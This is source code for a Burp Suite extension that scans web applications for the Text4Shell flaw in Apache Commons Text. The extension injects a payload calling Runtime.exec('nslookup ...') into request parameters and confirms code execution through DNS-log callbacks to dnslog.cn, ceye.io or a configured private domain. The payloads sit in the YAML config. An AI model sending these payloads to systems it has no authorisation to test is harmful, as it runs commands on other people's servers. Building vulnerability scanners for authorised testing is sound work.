30 | # 2. 过滤某个域名的全部子域名: *.domain2.com
31 | # 3. 过滤某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com
32 | # 使用方法:
33 | # blacklist:
34 | # - "www.domain1.com"
35 | # - "*.domain2.com"
36 | blacklist:
37 | - "*.dnslog.cn"
38 | - "*.ceye.io"
39 | - "*.fofa.so"
40 | - "*.shodan.io"
41 | - "*.github.com"
42 | # 域名白名单
43 | # 注: 黑名单优先级最高
44 | # 注: 为空表示关闭该功能
45 | # 使用规则:
46 | # 1. 只扫描某个域名: www.domain1.com
47 | # 2. 只扫描某个域名的全部子域名: *.domain2.com
48 | # 3. 只扫描某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com
49 | # 使用方法:
50 | # whitelist:
51 | # - "www.domain1.com"
52 | # - "*.domain2.com"
53 | whitelist:
54 | headersName:
55 | #header头黑名单
56 | blacklist:
57 | - "Cookie"
58 | - "Authorize"
59 |
60 | # url黑名单后缀
61 | # url的后缀出现这些字段的都不进行测试
62 | urlBlackListSuffix:
63 | config:
64 | isStart: true
65 | suffixList:
66 | - "3g2"
67 | - "3gp"
68 | - "7z"
69 | - "aac"
70 | - "abw"
71 | - "aif"
72 | - "aifc"
73 | - "aiff"
74 | - "arc"
75 | - "au"
76 | - "avi"
77 | - "azw"
78 | - "bin"
79 | - "bmp"
80 | - "bz"
81 | - "bz2"
82 | - "cmx"
83 | - "cod"
84 | - "csh"
85 | - "css"
86 | - "csv"
87 | - "doc"
88 | - "docx"
89 | - "eot"
90 | - "epub"
91 | - "gif"
92 | - "gz"
93 | - "ico"
94 | - "ics"
95 | - "ief"
96 | - "jar"
97 | - "jfif"
98 | - "jpe"
99 | - "jpeg"
100 | - "jpg"
101 | - "m3u"
102 | - "mid"
103 | - "midi"
104 | - "mjs"
105 | - "mp2"
106 | - "mp3"
107 | - "mpa"
108 | - "mpe"
109 | - "mpeg"
110 | - "mpg"
111 | - "mpkg"
112 | - "mpp"
113 | - "mpv2"
114 | - "odp"
115 | - "ods"
116 | - "odt"
117 | - "oga"
118 | - "ogv"
119 | - "ogx"
120 | - "otf"
121 | - "pbm"
122 | - "pdf"
123 | - "pgm"
124 | - "png"
125 | - "pnm"
126 | - "ppm"
127 | - "ppt"
128 | - "pptx"
129 | - "ra"
130 | - "ram"
131 | - "rar"
132 | - "ras"
133 | - "rgb"
134 | - "rmi"
135 | - "rtf"
136 | - "snd"
137 | - "svg"
138 | - "swf"
139 | - "tar"
140 | - "tif"
141 | - "tiff"
142 | - "ttf"
143 | - "vsd"
144 | - "wav"
145 | - "weba"
146 | - "webm"
147 | - "webp"
148 | - "woff"
149 | - "woff2"
150 | - "xbm"
151 | - "xls"
152 | - "xlsx"
153 | - "xpm"
154 | - "xul"
155 | - "xwd"
156 | - "zip"
157 | - "js"
158 | - "wmv"
159 | - "asf"
160 | - "asx"
161 | - "rm"
162 | - "rmvb"
163 | - "mp4"
164 | - "mov"
165 | - "m4v"
166 | - "dat"
167 | - "mkv"
168 | - "flv"
169 | - "vob"
170 | - "txt"
171 | - "php"
172 | - "asp"
173 |
174 | # 应用程序配置
175 | application:
176 | # 远程命令扩展
177 | remoteCmdExtension:
178 | config:
179 | # 插件启动项
180 | isStart: true
181 | # 程序最大执行时间
182 | # 指的是请求里面每个参数的基础最大执行时间
183 | # 实际上会根据poc的增加而增加
184 | maxExecutionTime: 20
185 | # 提供商
186 | # 声明使用 Application.RemoteCmdExtension.ExtensionMethod 的哪个类,为该扩展提供服务
187 | provider: "RemoteCmdScan"
188 | # 漏洞名称
189 | issueName: "TextShell-RemoteCmd"
190 | payloads:
191 | - "%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup+dns-url%27%29%7D"
192 | - "${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup dns-url')}"
193 | # dnsLog模块
194 | dnsLogModule:
195 | # 提供商
196 | # 声明使用 DnsLogModule.ExtensionMethod 的哪个类,为该扩展提供服务
197 | # 目前集成方法:
198 | # DnsLogCn = http://dnslog.cn的接口
199 | # BurpDnsLog = burp自带的dnslog接口
200 | # Ceye = http://ceye.io的接口
201 | # DnsLogPrivate = 自搭建的DNSLOG接口
202 | provider: "DnsLogCn"
203 | # 其它数据,用于一些需要验证接口取值使用的
204 | # 注意: key=value;为一个参数
205 | # 例如:
206 | # a=1; b=2; c=3;
207 | # Ceye的配置等于: token=xxx;Identifier=xxxx.ceye.io;
208 | # DnsLogPrivate的配置: DnsDomain=dns.ld; Identifier=http://dns/token
209 | other: "DnsDomain=5b7c4324.dns.1433.eu.org;Identifier=https://dig.pm/12qa8ygnz4jy;"
--------------------------------------------------------------------------------
/src/main/java/burp/DnsLogModule/ExtensionMethod/Ceye.java:
--------------------------------------------------------------------------------
1 | package burp.DnsLogModule.ExtensionMethod;
2 |
3 | import burp.Bootstrap.CustomHelpers;
4 | import burp.Bootstrap.YamlReader;
5 | import burp.DnsLogModule.ExtensionInterface.DnsLogAbstract;
6 | import burp.IBurpExtenderCallbacks;
7 | import com.github.kevinsawicki.http.HttpRequest;
8 |
9 | import java.io.PrintWriter;
10 |
11 | public class Ceye extends DnsLogAbstract {
12 | private IBurpExtenderCallbacks callbacks;
13 |
14 | private String dnslogDomainName;
15 |
16 | private YamlReader yamlReader;
17 |
18 | private String key;
19 | private String token;
20 | private String Identifier;
21 |
22 | public Ceye(IBurpExtenderCallbacks callbacks) {
23 | this.callbacks = callbacks;
24 |
25 | this.dnslogDomainName = "http://api.ceye.io";
26 |
27 | this.setExtensionName("Ceye");
28 |
29 | this.yamlReader = YamlReader.getInstance(callbacks);
30 | String other = this.yamlReader.getString("dnsLogModule.other");
31 |
32 | this.key = CustomHelpers.randomStr(8);
33 | this.token = CustomHelpers.getParam(other, "token").trim();
34 | this.Identifier = CustomHelpers.getParam(other, "Identifier").trim();
35 |
36 | this.init();
37 | }
38 |
39 | private void init() {
40 | if (this.token == null || this.token.length() <= 0) {
41 | throw new RuntimeException(String.format("%s 扩展-token参数不能为空", this.getExtensionName()));
42 | }
43 | if (this.Identifier == null || this.Identifier.length() <= 0) {
44 | throw new RuntimeException(String.format("%s 扩展-Identifier参数不能为空", this.getExtensionName()));
45 | }
46 |
47 | String temporaryDomainName = this.key + "." + this.Identifier;
48 | this.setTemporaryDomainName(temporaryDomainName);
49 | }
50 |
51 | @Override
52 | public String getBodyContent() {
53 | String url = String.format("%s/v1/records?token=%s&type=dns&filter=%s", this.dnslogDomainName, this.token, this.key + ".");
54 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36";
55 | HttpRequest request = HttpRequest.get(url);
56 | request.trustAllCerts();
57 | request.trustAllHosts();
58 | request.followRedirects(false);
59 | request.header("User-Agent", userAgent);
60 | request.header("Accept", "*/*");
61 | request.readTimeout(30 * 1000);
62 | request.connectTimeout(30 * 1000);
63 |
64 | String body = request.body();
65 |
66 | if (!request.ok()) {
67 | throw new RuntimeException(
68 | String.format(
69 | "%s 扩展-%s内容有异常,异常内容: %s",
70 | this.getExtensionName(),
71 | this.dnslogDomainName,
72 | body
73 | )
74 | );
75 | }
76 |
77 | if (body.contains("[]")) {
78 | return null;
79 | }
80 | return body;
81 | }
82 |
83 | @Override
84 | public String export() {
85 | String str1 = String.format("
============dnsLogExtensionDetail============
");
86 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName());
87 | String str3 = String.format("dnsLogDomainName: %s
", this.dnslogDomainName);
88 | String str4 = String.format("dnsLogRecordsApi: %s/v1/records?token=%s&type=dns&filter=%s
", this.dnslogDomainName, this.token, this.key + ".");
89 | String str5 = String.format("dnsLogTemporaryDomainName: %s
", this.getTemporaryDomainName());
90 | String str6 = String.format("=====================================
");
91 |
92 | String detail = str1 + str2 + str3 + str4 + str5 + str6;
93 |
94 | return detail;
95 | }
96 |
97 | @Override
98 | public void consoleExport() {
99 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true);
100 |
101 | stdout.println("");
102 | stdout.println("===========dnsLog扩展详情===========");
103 | stdout.println("你好呀~ (≧ω≦*)喵~");
104 | stdout.println(String.format("被调用的插件: %s", this.getExtensionName()));
105 | stdout.println(String.format("dnsLog域名: %s", this.dnslogDomainName));
106 | stdout.println(String.format("dnsLogRecordsApi: %s/v1/records?token=%s&type=dns&filter=%s", this.dnslogDomainName, this.token, this.key + "."));
107 | stdout.println(String.format("dnsLog临时域名: %s", this.getTemporaryDomainName()));
108 | stdout.println("===================================");
109 | stdout.println("");
110 | }
111 | }
--------------------------------------------------------------------------------
/src/main/java/burp/DnsLogModule/ExtensionMethod/DnsLogCn.java:
--------------------------------------------------------------------------------
1 | package burp.DnsLogModule.ExtensionMethod;
2 |
3 | import java.io.PrintWriter;
4 |
5 | import burp.Bootstrap.CustomHelpers;
6 | import com.github.kevinsawicki.http.HttpRequest;
7 |
8 | import burp.IBurpExtenderCallbacks;
9 | import burp.DnsLogModule.ExtensionInterface.DnsLogAbstract;
10 |
11 | public class DnsLogCn extends DnsLogAbstract {
12 | private IBurpExtenderCallbacks callbacks;
13 |
14 | private String dnslogDomainName;
15 |
16 | private String dnsLogCookieName;
17 | private String dnsLogCookieValue;
18 |
19 | public DnsLogCn(IBurpExtenderCallbacks callbacks) {
20 | this.callbacks = callbacks;
21 |
22 | this.dnslogDomainName = "http://dnslog.cn";
23 |
24 | this.setExtensionName("DnsLogCn");
25 |
26 | this.init();
27 | }
28 |
29 | private void init() {
30 | String url = this.dnslogDomainName + "/getdomain.php";
31 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36";
32 |
33 | HttpRequest request = HttpRequest.get(url);
34 | request.trustAllCerts();
35 | request.trustAllHosts();
36 | request.followRedirects(false);
37 | request.header("User-Agent", userAgent);
38 | request.header("Accept", "*/*");
39 | request.readTimeout(30 * 1000);
40 | request.connectTimeout(30 * 1000);
41 |
42 | int statusCode = request.code();
43 | if (statusCode != 200) {
44 | throw new RuntimeException(
45 | String.format(
46 | "%s 扩展-访问url-%s, 请检查本机是否可访问 %s",
47 | this.getExtensionName(),
48 | statusCode,
49 | url));
50 | }
51 |
52 | // 设置 dnslog 的临时域名
53 | String temporaryDomainName = request.body();
54 | if (request.isBodyEmpty()) {
55 | throw new RuntimeException(
56 | String.format(
57 | "%s 扩展-获取临时域名失败, 请检查本机是否可访问 %s",
58 | this.getExtensionName(),
59 | this.dnslogDomainName));
60 | }
61 | this.setTemporaryDomainName(temporaryDomainName);
62 |
63 | String cookie = request.header("Set-Cookie");
64 | String sessidKey = "PHPSESSID";
65 | String sessidValue = CustomHelpers.getParam(cookie, sessidKey);
66 | if (sessidValue.length() == 0) {
67 | throw new IllegalArgumentException(
68 | String.format(
69 | "%s 扩展-访问站点 %s 时返回Cookie为空, 导致无法正常获取dnsLog数据, 请检查",
70 | this.getExtensionName(),
71 | this.dnslogDomainName));
72 | }
73 |
74 | this.dnsLogCookieName = sessidKey;
75 | this.dnsLogCookieValue = sessidValue;
76 | }
77 |
78 | @Override
79 | public String getBodyContent() {
80 | String url = this.dnslogDomainName + "/getrecords.php";
81 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36";
82 |
83 | HttpRequest request = HttpRequest.get(url);
84 | request.trustAllCerts();
85 | request.trustAllHosts();
86 | request.followRedirects(false);
87 | request.header("User-Agent", userAgent);
88 | request.header("Accept", "*/*");
89 | request.header("Cookie", this.dnsLogCookieName + "=" + this.dnsLogCookieValue + ";");
90 | request.readTimeout(30 * 1000);
91 | request.connectTimeout(30 * 1000);
92 |
93 | String body = request.body();
94 |
95 | if (!request.ok()) {
96 | throw new RuntimeException(
97 | String.format(
98 | "%s 扩展-%s内容有异常,异常内容: %s",
99 | this.getExtensionName(),
100 | this.dnslogDomainName,
101 | body
102 | )
103 | );
104 | }
105 |
106 | if (body.equals("[]")) {
107 | return null;
108 | }
109 | return body;
110 | }
111 |
112 | @Override
113 | public String export() {
114 | String str1 = String.format("
============dnsLogExtensionDetail============
");
115 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName());
116 | String str3 = String.format("dnsLogDomainName: %s
", this.dnslogDomainName);
117 | String str4 = String.format("dnsLogRecordsApi: %s
", this.dnslogDomainName + "/getrecords.php");
118 | String str5 = String.format("cookie: %s=%s
", this.dnsLogCookieName, this.dnsLogCookieValue);
119 | String str6 = String.format("dnsLogTemporaryDomainName: %s
", this.getTemporaryDomainName());
120 | String str7 = String.format("=====================================
");
121 |
122 | String detail = str1 + str2 + str3 + str4 + str5 + str6 + str7;
123 |
124 | return detail;
125 | }
126 |
127 | @Override
128 | public void consoleExport() {
129 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true);
130 |
131 | stdout.println("");
132 | stdout.println("===========dnsLog扩展详情===========");
133 | stdout.println("你好呀~ (≧ω≦*)喵~");
134 | stdout.println(String.format("被调用的插件: %s", this.getExtensionName()));
135 | stdout.println(String.format("dnsLog域名: %s", this.dnslogDomainName));
136 | stdout.println(String.format("dnsLog保存记录的api接口: %s", this.dnslogDomainName + "/getrecords.php"));
137 | stdout.println(String.format("cookie: %s=%s", this.dnsLogCookieName, this.dnsLogCookieValue));
138 | stdout.println(String.format("dnsLog临时域名: %s", this.getTemporaryDomainName()));
139 | stdout.println("===================================");
140 | stdout.println("");
141 | }
142 | }
143 |
--------------------------------------------------------------------------------
/src/main/java/burp/Application/RemoteCmdExtension/ExtensionMethod/RemoteCmdScan.java:
--------------------------------------------------------------------------------
1 | package burp.Application.RemoteCmdExtension.ExtensionMethod;
2 |
3 | import java.net.URL;
4 | import java.util.Date;
5 | import java.util.List;
6 | import java.util.ArrayList;
7 | import java.io.PrintWriter;
8 |
9 | import burp.*;
10 |
11 | import burp.Bootstrap.*;
12 | import burp.CustomScanIssue;
13 | import burp.DnsLogModule.DnsLog;
14 | import burp.Application.ExtensionInterface.AAppExtension;
15 | import burp.CustomErrorException.TaskTimeoutException;
16 |
17 | public class RemoteCmdScan extends AAppExtension {
18 | private GlobalVariableReader globalVariableReader;
19 |
20 | private IBurpExtenderCallbacks callbacks;
21 | private IExtensionHelpers helpers;
22 |
23 | private BurpAnalyzedRequest analyzedRequest;
24 |
25 | private DnsLog dnsLog;
26 |
27 | private YamlReader yamlReader;
28 |
29 | private List payloads;
30 |
31 | private Date startDate;
32 | private int maxExecutionTime;
33 |
34 | private String sendDnsLogUrl;
35 |
36 | private ArrayList keyArrayList = new ArrayList<>();
37 | private ArrayList dnsLogUrlArrayList = new ArrayList<>();
38 | private ArrayList httpRequestResponseArrayList = new ArrayList<>();
39 |
40 | public RemoteCmdScan(GlobalVariableReader globalVariableReader,
41 | IBurpExtenderCallbacks callbacks, BurpAnalyzedRequest analyzedRequest,
42 | DnsLog dnsLog, YamlReader yamlReader, List payloads,
43 | Date startDate, Integer maxExecutionTime) {
44 | this.globalVariableReader = globalVariableReader;
45 |
46 | this.callbacks = callbacks;
47 | this.helpers = callbacks.getHelpers();
48 |
49 | this.analyzedRequest = analyzedRequest;
50 |
51 | this.dnsLog = dnsLog;
52 |
53 | this.yamlReader = yamlReader;
54 |
55 | this.payloads = payloads;
56 |
57 | this.startDate = startDate;
58 | this.maxExecutionTime = maxExecutionTime;
59 |
60 | this.setExtensionName("RemoteCmdScan");
61 | this.registerExtension();
62 |
63 | this.runExtension();
64 | }
65 |
66 | private void runExtension() {
67 |
68 | for (String payload : this.payloads) {
69 | // 这个参数为true说明插件已经被卸载,退出所有任务,避免继续扫描
70 | if (this.globalVariableReader.getBooleanData("isExtensionUnload")) {
71 | return;
72 | }
73 | // 说明接收到了dnslog请求确定是Text4Shell
74 | if (this.isIssue()) {
75 | return;
76 | }
77 |
78 | // 如果dnslog有内容但是 this.isIssue() 为false
79 | // 这可能是因为 请求发出去了 dnslog还没反应过来
80 | // 这种情况后面的循环就没必要了, 退出该循环
81 | // 等待二次验证即可
82 | // if (this.dnsLog.run().getBodyContent() != null) {
83 | // if (this.dnsLog.run().getBodyContent().length() >= 1) {
84 | // break;
85 | // }
86 | // }
87 |
88 |
89 | // 判断程序是否运行超时
90 | Integer startTime = CustomHelpers.getSecondTimestamp(this.startDate);
91 | Integer currentTime = CustomHelpers.getSecondTimestamp(new Date());
92 | Integer runTime = currentTime - startTime;
93 | if (runTime >= this.maxExecutionTime) {
94 | throw new TaskTimeoutException("scan task timed out");
95 | }
96 |
97 |
98 |
99 | // 实际业务处理
100 | this.remoteCmdDetection(payload);
101 |
102 | }
103 |
104 | // 防止因为dnslog卡导致没有检测到的问题, 这里进行二次检测, 保证不会漏报
105 | // 睡眠一段时间, 给dnslog一个缓冲时间
106 | try {
107 | Thread.sleep(8000);
108 | } catch (InterruptedException e) {
109 | throw new RuntimeException(e);
110 | }
111 |
112 | // 开始进行二次验证
113 | String dnsLogBodyContent = this.dnsLog.run().getBodyContent();
114 | if (dnsLogBodyContent == null || dnsLogBodyContent.length() <= 0) {
115 | return;
116 | }
117 |
118 | // 这里进行二次判断
119 | for (int i = 0; i < this.keyArrayList.size(); i++) {
120 | // dnslog 内容匹配判断
121 | if (!dnsLogBodyContent.contains(this.keyArrayList.get(i))) {
122 | if ((i + 1) != this.keyArrayList.size()) {
123 | continue;
124 | } else {
125 | return;
126 | }
127 | }
128 |
129 | // 设置问题详情
130 | this.setIssuesDetail(this.httpRequestResponseArrayList.get(i), this.dnsLogUrlArrayList.get(i));
131 | return;
132 | }
133 | }
134 |
135 | private void remoteCmdDetection(String payload) {
136 | String key = CustomHelpers.randomStr(15);
137 |
138 | String dnsLogUrl = key + "." + this.dnsLog.run().getTemporaryDomainName();
139 |
140 | // 发送请求
141 | IHttpRequestResponse newHttpRequestResponse = analyzedRequest.makeHttpRequest(payload, dnsLogUrl);
142 | // 相关变量设置
143 | this.keyArrayList.add(analyzedRequest.getForReKey() + key);
144 | this.dnsLogUrlArrayList.add(dnsLogUrl);
145 | this.httpRequestResponseArrayList.add(newHttpRequestResponse);
146 |
147 | // dnslog 返回的内容判断
148 | String dnsLogBodyContent = this.dnsLog.run().getBodyContent();
149 | if (dnsLogBodyContent == null || dnsLogBodyContent.length() <= 0) {
150 | return;
151 | }
152 | // dnslog 内容匹配判断
153 | if (!dnsLogBodyContent.contains(analyzedRequest.getForReKey() + key)) {
154 | return;
155 | }
156 |
157 | // 设置问题详情
158 | this.setIssuesDetail(newHttpRequestResponse, dnsLogUrl);
159 | }
160 |
161 | /**
162 | * 设置问题详情
163 | */
164 | private void setIssuesDetail(IHttpRequestResponse httpRequestResponse, String dnsLogUrl) {
165 | this.setIssueState(true);
166 | this.setHttpRequestResponse(httpRequestResponse);
167 |
168 | this.sendDnsLogUrl = dnsLogUrl;
169 | }
170 |
171 | @Override
172 | public IScanIssue export() {
173 | if (!this.isIssue()) {
174 | return null;
175 | }
176 |
177 | IHttpRequestResponse newHttpRequestResponse = this.getHttpRequestResponse();
178 | URL newHttpRequestUrl = this.helpers.analyzeRequest(newHttpRequestResponse).getUrl();
179 |
180 | String str1 = String.format("
=============RemoteCmdExtension============
");
181 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName());
182 | String str3 = String.format("sendDnsLogUrl: %s
", this.sendDnsLogUrl);
183 | String str4 = String.format("=====================================
");
184 |
185 | // dnslog 详情输出
186 | String str5 = this.dnsLog.run().export();
187 |
188 | // dnslog body内容输出
189 | String str6 = String.format("
=============DnsLogBodyContent============
");
190 | String str7 = this.dnsLog.run().getBodyContent();
191 | String str8 = String.format("
=====================================
");
192 |
193 | String detail = str1 + str2 + str3 + str4 + str5 + str6 + str7 + str8;
194 |
195 | String issueName = this.yamlReader.getString("application.remoteCmdExtension.config.issueName");
196 |
197 | return new CustomScanIssue(
198 | newHttpRequestUrl,
199 | issueName,
200 | 0,
201 | "High",
202 | "Certain",
203 | null,
204 | null,
205 | detail,
206 | null,
207 | new IHttpRequestResponse[]{newHttpRequestResponse},
208 | newHttpRequestResponse.getHttpService()
209 | );
210 | }
211 |
212 | @Override
213 | public void consoleExport() {
214 | if (!this.isIssue()) {
215 | return;
216 | }
217 |
218 | IHttpRequestResponse newHttpRequestResponse = this.getHttpRequestResponse();
219 | URL newHttpRequestUrl = this.helpers.analyzeRequest(newHttpRequestResponse).getUrl();
220 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true);
221 |
222 | stdout.println("");
223 | stdout.println("===========RemoteCmdExtension详情============");
224 | stdout.println("你好呀~ (≧ω≦*)喵~");
225 | stdout.println("这边检测到有一个站点有命令执行并且dns出网 喵~");
226 | stdout.println(String.format("负责检测的插件: %s", this.getExtensionName()));
227 | stdout.println(String.format("url: %s", newHttpRequestUrl));
228 | stdout.println(String.format("发送的dnsLogUrl: %s", this.sendDnsLogUrl));
229 | stdout.println("详情请查看-Burp Scanner模块-Issue activity界面");
230 | stdout.println("===================================");
231 | stdout.println("");
232 |
233 | stdout.println("");
234 | stdout.println("===========DnsLog正文内容============");
235 | stdout.println(this.dnsLog.run().getBodyContent());
236 | stdout.println("===================================");
237 | stdout.println("");
238 |
239 | // dnslog 控制台详情输出
240 | this.dnsLog.run().consoleExport();
241 | }
242 | }
243 |
--------------------------------------------------------------------------------
/src/main/java/burp/UI/Tags.java:
--------------------------------------------------------------------------------
1 | package burp.UI;
2 |
3 | import burp.*;
4 |
5 | import javax.swing.*;
6 | import javax.swing.table.AbstractTableModel;
7 | import javax.swing.table.TableModel;
8 | import java.awt.*;
9 | import java.awt.event.ActionEvent;
10 | import java.awt.event.ActionListener;
11 | import java.text.SimpleDateFormat;
12 | import java.util.*;
13 | import java.util.List;
14 |
15 | public class Tags extends AbstractTableModel implements ITab, IMessageEditorController {
16 | public IBurpExtenderCallbacks callbacks;
17 |
18 | private JSplitPane top;
19 |
20 | public List Udatas = new ArrayList<>();
21 |
22 | public IMessageEditor HRequestTextEditor;
23 |
24 | public IMessageEditor HResponseTextEditor;
25 |
26 | private IHttpRequestResponse currentlyDisplayedItem;
27 |
28 | public URLTable Utable;
29 |
30 | private JScrollPane UscrollPane;
31 |
32 | private JSplitPane HjSplitPane;
33 |
34 | private JTabbedPane Ltable;
35 |
36 | private JTabbedPane Rtable;
37 |
38 | private JSplitPane splitPane;
39 |
40 | private JPopupMenu m_popupMenu;
41 |
42 | public List Get_URL_list() {
43 | List Urls = new ArrayList<>();
44 | for (TablesData data : this.Udatas) {
45 | Urls.add(data.url);
46 | }
47 | return Urls;
48 | }
49 |
50 |
51 | public Tags(IBurpExtenderCallbacks callbacks, String name) {
52 | this.callbacks = callbacks;
53 |
54 | // this.tagName = name;
55 | SwingUtilities.invokeLater(new Runnable() {
56 | public void run() {
57 | // 创建最上面的一层
58 | Tags.this.top = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
59 | // 创建容器,容器可以加入多个页面
60 | JTabbedPane tabs = new JTabbedPane();
61 | // 创建主拆分窗格
62 | splitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
63 |
64 |
65 | // 日志条目表
66 | URLTable URLTab = new URLTable(Tags.this);
67 | // URLTab.addMouseListener(new Right_click_menu(Tags.this));
68 | m_popupMenu = new JPopupMenu();
69 | JMenuItem delMenItem = new JMenuItem();
70 | delMenItem.setText("Delete item");
71 | delMenItem.addActionListener(new Remove_action(Tags.this));
72 | JMenuItem delAllMenItem = new JMenuItem();
73 | delAllMenItem.setText("Clear all history");
74 | delAllMenItem.addActionListener(new Remove_All(Tags.this));
75 |
76 | m_popupMenu.add(delMenItem);
77 | m_popupMenu.add(delAllMenItem);
78 | URLTab.addMouseListener(new java.awt.event.MouseAdapter() {
79 | public void mouseClicked(java.awt.event.MouseEvent evt) {
80 | jTable1MouseClicked(evt);
81 | }
82 | });
83 |
84 | Tags.this.Utable = URLTab;
85 | Tags.this.UscrollPane = new JScrollPane(Tags.this.Utable);
86 |
87 |
88 | //创建请求和响应的展示窗
89 | Tags.this.HjSplitPane = new JSplitPane();
90 | Tags.this.HjSplitPane.setResizeWeight(0.5);
91 |
92 | // 创建请求/响应的子选项卡
93 | Tags.this.Ltable = new JTabbedPane();
94 | Tags.this.Rtable = new JTabbedPane();
95 | Tags.this.HRequestTextEditor = Tags.this.callbacks.createMessageEditor(Tags.this, false);
96 | Tags.this.HResponseTextEditor = Tags.this.callbacks.createMessageEditor(Tags.this, false);
97 | Tags.this.Ltable.addTab("Request", Tags.this.HRequestTextEditor.getComponent());
98 | Tags.this.Rtable.addTab("Response", Tags.this.HResponseTextEditor.getComponent());
99 |
100 | // 将子选项卡添加进主选项卡
101 | Tags.this.HjSplitPane.add(Tags.this.Ltable, "left");
102 | Tags.this.HjSplitPane.add(Tags.this.Rtable, "right");
103 |
104 | // 将日志条目表和展示窗添加到主拆分窗格
105 | Tags.this.splitPane.add(Tags.this.UscrollPane, "left");
106 | Tags.this.splitPane.add(Tags.this.HjSplitPane, "right");
107 |
108 | // 将两个页面插入容器
109 | tabs.addTab("VulDisplay", Tags.this.splitPane);
110 |
111 | // 将容器置于顶层
112 | top.setTopComponent(tabs);
113 |
114 | // 定制我们的UI组件
115 | Tags.this.callbacks.customizeUiComponent(Tags.this.top);
116 |
117 | // 将自定义选项卡添加到Burp的UI
118 | Tags.this.callbacks.addSuiteTab(Tags.this);
119 | }
120 | });
121 | }
122 |
123 | public String getTabCaption() {
124 | return "Text4ShellScan";
125 | }
126 |
127 | public Component getUiComponent() {
128 | return this.top;
129 | }
130 |
131 | public int getRowCount() {
132 | return this.Udatas.size();
133 | }
134 |
135 | public int getColumnCount() {
136 | return 9;
137 | }
138 |
139 | public String getColumnName(int columnIndex) {
140 | switch (columnIndex) {
141 | case 0:
142 | return "#";
143 | case 1:
144 | return "VulName";
145 | case 2:
146 | return "Method";
147 | case 3:
148 | return "Url";
149 | case 4:
150 | return "Status";
151 | case 5:
152 | return "Info";
153 | case 6:
154 | return "Size";
155 | case 7:
156 | return "startTime";
157 | case 8:
158 | return "endTime";
159 | }
160 | return null;
161 | }
162 |
163 | public Class> getColumnClass(int columnIndex) {
164 | return String.class;
165 | }
166 |
167 | public Object getValueAt(int rowIndex, int columnIndex) {
168 | TablesData datas = this.Udatas.get(rowIndex);
169 | switch (columnIndex) {
170 | case 0:
171 | return Integer.valueOf(datas.id);
172 | case 1:
173 | return datas.VulName;
174 | case 2:
175 | return datas.Method;
176 | case 3:
177 | return datas.url;
178 | case 4:
179 | return datas.status;
180 | case 5:
181 | return datas.Info;
182 | case 6:
183 | return datas.Size;
184 | case 7:
185 | return datas.startTime;
186 | case 8:
187 | return datas.endTime;
188 | }
189 | return null;
190 | }
191 |
192 | public byte[] getRequest() {
193 | return this.currentlyDisplayedItem.getRequest();
194 | }
195 |
196 | public byte[] getResponse() {
197 | return this.currentlyDisplayedItem.getResponse();
198 | }
199 |
200 | public IHttpService getHttpService() {
201 | return this.currentlyDisplayedItem.getHttpService();
202 | }
203 |
204 | public int add(String VulName, String Method, String url, String status, String Info, String Size, IHttpRequestResponse requestResponse) {
205 | synchronized (this.Udatas) {
206 | Date d = new Date();
207 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
208 | String startTime = sdf.format(d);
209 | int id = this.Udatas.size();
210 | this.Udatas.add(
211 | new TablesData(
212 | id,
213 | VulName,
214 | Method,
215 | url,
216 | status,
217 | Info,
218 | Size,
219 | requestResponse,
220 | startTime,
221 | ""));
222 | fireTableRowsInserted(id, id);
223 | return id;
224 | }
225 | }
226 | /**
227 | * 更新任务状态至任务栏面板
228 | *
229 | * @param id 漏洞编号id
230 | * @param VulName 漏洞名称
231 | * @param Method 请求方式
232 | * @param url 漏洞url
233 | * @param status 漏洞状态
234 | * @param Info 漏洞信息
235 | * @param Size 漏洞返回包大小
236 | * @param requestResponse 请求包返回包
237 | * @return int id
238 | */
239 | public int save(int id, String VulName, String Method,String url, String status, String Info, String Size,IHttpRequestResponse requestResponse) {
240 | Tags.TablesData dataEntry = Tags.this.Udatas.get(id);
241 | String startTime = dataEntry.startTime;
242 |
243 | Date d = new Date();
244 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
245 | String endTime = sdf.format(d);
246 |
247 | synchronized (this.Udatas) {
248 | this.Udatas.set(
249 | id,
250 | new TablesData(
251 | id,
252 | VulName,
253 | Method,
254 | url,
255 | status,
256 | Info,
257 | Size,
258 | requestResponse,
259 | startTime,
260 | endTime
261 | )
262 | );
263 | fireTableRowsUpdated(id, id);
264 | return id;
265 | }
266 | }
267 |
268 |
269 | public class URLTable extends JTable {
270 | public URLTable(TableModel tableModel) {
271 | super(tableModel);
272 | }
273 |
274 | public void changeSelection(int row, int col, boolean toggle, boolean extend) {
275 | TablesData dataEntry = Tags.this.Udatas.get(convertRowIndexToModel(row));
276 | Tags.this.HRequestTextEditor.setMessage(dataEntry.requestResponse.getRequest(), true);
277 | Tags.this.HResponseTextEditor.setMessage(dataEntry.requestResponse.getResponse(), false);
278 | Tags.this.currentlyDisplayedItem = dataEntry.requestResponse;
279 | super.changeSelection(row, col, toggle, extend);
280 | }
281 | }
282 |
283 |
284 | public static class TablesData {
285 | final int id;
286 |
287 | final String VulName;
288 |
289 | final String Method;
290 |
291 | final String url;
292 |
293 | final String status;
294 |
295 | final String Info;
296 |
297 | final String Size;
298 |
299 | final IHttpRequestResponse requestResponse;
300 |
301 | final String startTime;
302 |
303 | final String endTime;
304 |
